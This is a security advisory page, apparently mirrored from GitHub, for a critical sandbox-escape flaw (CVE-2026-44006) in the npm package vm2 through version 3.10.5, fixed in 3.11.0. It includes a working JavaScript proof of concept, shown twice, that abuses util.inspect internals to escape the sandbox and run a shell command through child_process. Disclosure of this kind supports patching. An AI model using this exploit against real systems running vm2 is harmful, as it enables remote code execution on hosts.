GHSA-QCP4-V2JJ-FJX8

Vulnerability from github – Published: 2026-05-07 03:54 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2 has a Sandbox Escape Vulnerability
Details

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC

let obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice: () => '',
};

let sym;

obj.slice(10, {
    showHidden: true,
    showProxy: true,
    depth: 10,
    stylize(a) {
        const handler = this.seen && this.seen[1];

        if (handler && handler.getPrototypeOf) {
            gP = handler.getPrototypeOf;
            HObjectProto = gP(gP(gP(gP(Buffer))));
            HObject = HObjectProto.constructor;
            sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
        }
        return a;
    },
});

obj = {
    [sym]: (depth, opt, inspect) => {
        inspect.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', { stdio: 'inherit' });
    },
    valueOf: undefined,
    constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:54:34Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\n\n### Details\n\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\n\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\n\n### PoC\n```js\nlet obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice: () =\u003e \u0027\u0027,\n};\n\nlet sym;\n\nobj.slice(10, {\n\tshowHidden: true,\n\tshowProxy: true,\n\tdepth: 10,\n\tstylize(a) {\n\t\tconst handler = this.seen \u0026\u0026 this.seen[1];\n\n\t\tif (handler \u0026\u0026 handler.getPrototypeOf) {\n\t\t\tgP = handler.getPrototypeOf;\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\n\t\t\tHObject = HObjectProto.constructor;\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\t\t}\n\t\treturn a;\n\t},\n});\n\nobj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor(\u0027return process\u0027)()\n\t\t.getBuiltinModule(\u0027child_process\u0027)\n\t\t.execSync(\u0027id\u0027, { stdio: \u0027inherit\u0027 });\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\nSandbox Escape -\u003e RCE",
  "id": "GHSA-qcp4-v2jj-fjx8",
  "modified": "2026-05-14T20:36:24Z",
  "published": "2026-05-07T03:54:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44006"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a Sandbox Escape Vulnerability"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…